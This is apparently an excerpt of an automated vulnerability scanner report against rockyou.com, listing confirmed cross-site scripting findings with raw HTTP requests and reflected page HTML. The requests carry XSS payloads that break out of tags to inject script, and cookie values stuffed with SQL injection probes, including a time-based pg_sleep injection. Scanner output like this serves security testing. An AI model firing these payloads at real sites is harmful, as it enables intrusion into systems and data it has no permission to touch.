document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\"></script><script>netsparker(9)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><option value="1914"&..
- /show_my_gallery2.php

/show_my_gallery2.php CONFIRMED

http://www.rockyou.com/show_my_gallery2.php?instanceid=expression(alert(9))&action=rate

Parameters

Parameter Type Value
instanceid GET expression(alert(9))
action GET rate

Request

GET /show_my_gallery2.php?instanceid=expression(netsparker(9))&action=rate HTTP/1.1
Referer: http://www.rockyou.com/show_my_gallery.php?instanceid=&action=rate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166409; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=facebook.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:40:14 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:40:13 GMT; path=/; domain=.rockyou.com,lastlogin=1303166414; expires=Wed, 27-Jul-2011 22:40:14 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:40:14 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:40:14 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:40:14 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=255942 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9796
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="js/lightbox/prototype.js" type="text/javascript"></script><script src="js/lightbox/scriptaculous.js?load=effects" type="text/javascript"></script><script src="js/lightbox/lightbox.js" type="text/javascript"></script><script src="js/embeds.js?ver=5" type="text/javascript"></script><script src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js" type="text/javascript"></script><script src="js/subscription.js?ver=2" type="text/javascript"></script><script src="/js/standard.js" type="text/javascript"></script><link href="/css/style.css" rel="stylesheet" type="text/css"><link href="/css/comment.css" rel="stylesheet" type="text/css"><link href="/css/profile.css" rel="stylesheet" type="text/css"><link href="/css/lightbox.css" rel="stylesheet" type="text/css"><link href="/css/star_rating.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> <meta name="title" content="RockYou Slideshow" />
<meta name="description" content="Check out my new photos from RockYou.com." />
<link rel="image_src" href="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" />
<link rel="video_src" href="http://apps.rockyou.com/rockyou.swf?instanceid=expression(netsparker(9))"/>
<meta name="video_height" content="320" />
<meta name="video_width" content="426" />
<meta name="video_type" content="application/x-shockwave-flash" /></HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-button" style="font-weight:bold"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-create&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fchoose_widget.php">CREATE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-browse&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Ffeaturedartists.php">BROWSE</a></div> <div class="nav-button"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-mystuff&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fmy_stuff.php">MY STUFF</a></div> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-login&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Log In</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-register&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Flogin%2Findex.php">Register</a> | <a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png");'> <img src="http://cdn.rockyou.com/rockyou.com/bling3/ry_logo28.png" class="transparent"/> </div> </div> </div> <br>
<script type="text/javascript">
function thickBoxFrame(msg, url){
//alert(url);
url = url+'?KeepThis=true&TB_iframe=true&height=310&width=370';
TB_show('fff', 'http://www.google.com', '');

}

function getImgLink(img_src, img_cap) { var first_dot_index = img_src.indexOf('.') + 1; var rest_url = img_src.slice(first_dot_index,img_src.length); var second_dot_index = rest_url.indexOf('.'); var second_slice_index = rest_url.indexOf('/')+ first_dot_index ; var partner_name = rest_url.slice(0,second_dot_index); var partner_url = img_src; partner_url = img_src.slice(0,second_slice_index); //alert( '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\">rest_url</a>'); if (partner_name == 'badongo'){ img_src= img_src.replace('/ry/','/pic/').replace('.jpg',''); return '<a href=\"'+img_src+'\" target="_blank" title=\"'+img_cap+'\">view pic<br>('+partner_name+')</a>'; }else{ return '<a href=\"'+img_src+'\" rel=\"lightbox[show]\" title=\"'+img_cap+'\" onclick=\"ajax_post_john(\'/events/include/ajaxtrackevent.php\',\'name=rockyou-mobile&value=showmygallery\',null,null);\">view pic<br>('+partner_name+')</a>'; } }
function deleteComment(url) {
deleteme = confirm("Delete This Comment?");
if (deleteme) {
window.location=url;
}
}


function deletethis (e) {
if (!e) var e = window.event;
var tg = (e.target) ? e.target : e.srcElement
removeObj(tg.parentNode);
}
function removeObj(tr){
tr.parentNode.removeChild(tr);
}
function addtxtbox()
{
table=document.getElementById('tbltext');
mycurrent_row=document.createElement("TR");
mycurrent_cell=document.createElement("TD");
try
{
mycurrent_cell.innerHTML="<input type=\"text\" name=\"to[]\" class=\"textboxcl2\"> <input type=\"button\" value=\"Remove\" onclick=\"deletethis(event)\">";
}
catch(e)
{
mytextbox=document.createElement("INPUT");
mytextbox.setAttribute("type","text");
mytextbox.setAttribute("name","to[]");
mytextbox.setAttribute("class","textboxcl2");
mycurrent_cell.appendChild(mytextbox);
mybutton=document.createElement("INPUT");
mybutton.setAttribute("type","Button");
mybutton.setAttribute("value","Remove");
mybutton.setAttribute("onclick","alert('this')");
mycurrent_cell.appendChild(mybutton);
}
mycurrent_row.appendChild(mycurrent_cell);
table.getElementsByTagName('tbody')[0].appendChild(mycurrent_row);
}

function xmlhttpPostURL(type,data,url) {
var xmlHttpReq = false;
var self = this;
// Mozilla/Safari
if (window.XMLHttpRequest) {
self.xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
self.xmlHttpReq.open('POST', url+"?instanceid=expression(netsparker(9))", true);
self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8");
self.xmlHttpReq.onreadystatechange = function() {
if (self.xmlHttpReq.readyState == 4) {
//alert(self.xmlHttpReq.responseXML);
notXML = false;
if (self.xmlHttpReq.responseXML)
{
//eval ("var resp = "+self.xmlHttpReq.responseText);
xmlDoc = self.xmlHttpReq.responseXML.documentElement;
if (xmlDoc)
{
var thumbClass = (navigator.appVersion.indexOf('MSIE 6') == -1) ? 'smallthumb' : 'smallthumbIE6';
imageList = xmlDoc.getElementsByTagName("image");
capList = xmlDoc.getElementsByTagName("text");
imgs = "";
if (thumbnailStart > imageList.length) thumbnailStart -= calcThumbnailsCount();
if (thumbnailStart < 0) thumbnailStart = 0;
thumbnailEnd = thumbnailStart + calcThumbnailsCount();
if (thumbnailEnd > imageList.length) thumbnailEnd = imageList.length;
for (i = 0; i < imageList.length; i++)
{
img_src = imageList[i].getAttribute("path");
img_cap = URLDecode(capList[i].getAttribute("text"));
img_link = getImgLink(img_src, img_cap);

if ((i >= thumbnailStart) && (i < thumbnailEnd)) {
imgs += "<div class='thumbwrap'>";
} else {
imgs += "<div class='thumbwrap' style='display:none'>";
}
imgs += "<a href='"+img_src+"' rel='lightbox[show]'><img src='"+img_src+"' class='"+thumbClass+"' title=\""+img_cap+"\"></a><br><img src='/images/icons/mobilephone.gif' style='margin-top:8px;margin-left:7px;cursor:pointer;float:left' onclick=\"ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-mobile&value=showmygallery',null,null); window.open('http://photofun.funmo.com/rockyou/photos/new?orig_url="+escape(img_src)+"','tomobile','width=776,height=585,status=no,toolbar=no,menubar=no,scrollbars=no,resizable=yes,location=no,directories=no,status=no');return false;\">";
imgs += img_link+"</div>";
}
document.getElementById("photothumbs").innerHTML = imgs;
initLightbox();
actionJump();
}
else
{
notXML = true;
}
}
else
{
notXML = true;
}

if (notXML)
{
eval ("var resp = "+self.xmlHttpReq.responseText);
if (resp['mode']=='vote')
{
//set new Rating and Votes
document.getElementById('current-rating').style.width=30*resp['data'][0];

document.getElementById('current-vote').innerHTML=resp['data'][1]+' Votes';
}
}

}
}
self.xmlHttpReq.send(type+"="+escape(data));
}

function URLDecode(psEncodeString)
{
var lsRegExp = /\+/g;
return unescape(String(psEncodeString).replace(lsRegExp, " "));
}

function setStartSlide(slide)
{
document.getElementById('flashsrc').innerHTML='<embed src="http://apps.rockyou.com/rockyou.swf?instanceid=expression(netsparker(9))&startSlide='+slide+'" quality="high" wmode="transparent" width="426" height="320" flashvars="appWidth=325&appHeight=244" name="slideshowpreview" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>';
}

function initPage()
{
xmlhttpPostURL("1",'',"xmlproxy.php");
}

if (window.addEventListener) {
window.addEventListener('load',initPage,false);
}
else window.attachEvent('onload',initPage);

function actionJump()
{
}

function rate_vote(vote)
{
xmlhttpPostURL("vote",vote,"show_my_gallery-ajax.php");
//alert(vote);
}

function rate_display(vote)
{
var note = "";
switch (vote)
{
case 1:
note = "Total Junk";
break;
case 2:
note = "Kinda Lame";
break;
case 3:
note = "Its OK";
break;
case 4:
note = "Pretty Good";
break;
case 5:
note = "Way Hot";
break;
}
document.getElementById('ratingtitle').innerHTML=note;
}
function rate_displayout()
{
document.getElementById('ratingtitle').innerHTML = "Rate Me!";
}
</script>


<div id="container" style='width:1125px;margin:auto;padding-top:15px'>
<div style="float:left;width:800px">
<table id="photothumbscontainer" style="margin-bottom:15px;" cellpadding="0" cellspacing="0" ><tr>
<td><img src="/images/thumbnailsLeft.gif" onclick="thumbnailStart-=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
<td id="photothumbs" style="width:800px; height:94px; background:#300018; padding: 2px 0; font-size:10px; vertical-align:bottom">&nbsp;</td>
<td><img src="/images/thumbnailsRight.gif" onclick="thumbnailStart+=calcThumbnailsCount();updateThumbnails()" style="cursor:pointer" /></td>
</tr></table>
<div id="contentwrapper" style="float:left" >
<div id="contentcolumn" style="width:500px" align="center">



<div align="left" style="width:500px">
<div style="width:425px;margin:0 auto;border:2px solid red;background:red;text-align:center;color:white">PRIVATE SLIDESHOW</div> <div id="slideshow-container" style="width:450px; height:300px; margin:0px auto 20px; border: 1px solid #a80050">
<div id='flashsrc'>
<table cellpadding="0" cellspacing="0" border="0">
<tr valign="top">
<td><div id="embeddiv"></div></td>
<td>
<div style="width:100px;height:100px;position:absolute;">
<!--script type="text/javascript">var likeParams = ['01078cba91618ea1','drawerbutton'];</script><script type="text/javascript" src="http://partner.like.com/likesense/rockyou.js"></script-->
</div>
</td>
</tr>
</table>
</div>

</div>


<style>
#photothumbs a:link {color:#ffffff;}
</style>

<table style="margin: 0 auto; clear:both" width="450px"><tr>
<script>
function showPagelet(p) {
document.getElementById('sharePagelet').style.display='none';
document.getElementById('ratePagelet').style.display='none';
document.getElementById(p).style.display='';
}
</script>
<td><a href="#" onclick="ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-share&value=showmygallery',null,null); showPagelet('sharePagelet'); return false;">SHARE</a></td>
<td><a href="#" onclick="showPagelet('ratePagelet'); return false;">RATE</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-makeaslideshow&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fviewpage_clickthrough.php%3Fwidget%3Dslideshow%26instanceid%3Dexpression%28netsparker%289%29%29">MAKE A SLIDESHOW</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-addtofavorites&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Faddfavorite.php%3Finstanceid%3Dexpression%28netsparker%289%29%29">ADD TO FAVORITES</a></td>
<td><a href="http://www.rockyou.com/events/track.php?event=rockyou-report&value=showmygallery&url=http%3A%2F%2Fwww.rockyou.com%2Fsetinappropriate.php%3Finstanceid%3Dexpression%28netsparker%289%29%29">REPORT</a></td>
</tr></table>

<div id="ajaxarea" style="width:450px; height:100px; background: #f51768; margin: 10px auto" >
<div id=&q..
- /slideshow-create.php

/slideshow-create.php CONFIRMED

http://www.rockyou.com/slideshow-create.php?lang=en&source='%22--%3E%3C/style%3E%3C/script%3E%3Cscri..

Parameters

Parameter Type Value
lang GET en
source GET '"--></style></script><script>alert(0x0025EC)</script>

Request

GET /slideshow-create.php?lang=en&source='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0025EC)%3C/script%3E HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?source=br
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167243; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=facebook.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:54:03 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:54:02 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 22:54:03 GMT; path=/; domain=.rockyou.com,lastlogin=1303167243; expires=Wed, 27-Jul-2011 22:54:03 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:54:03 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:54:03 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:54:03 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=23750 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26945
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new 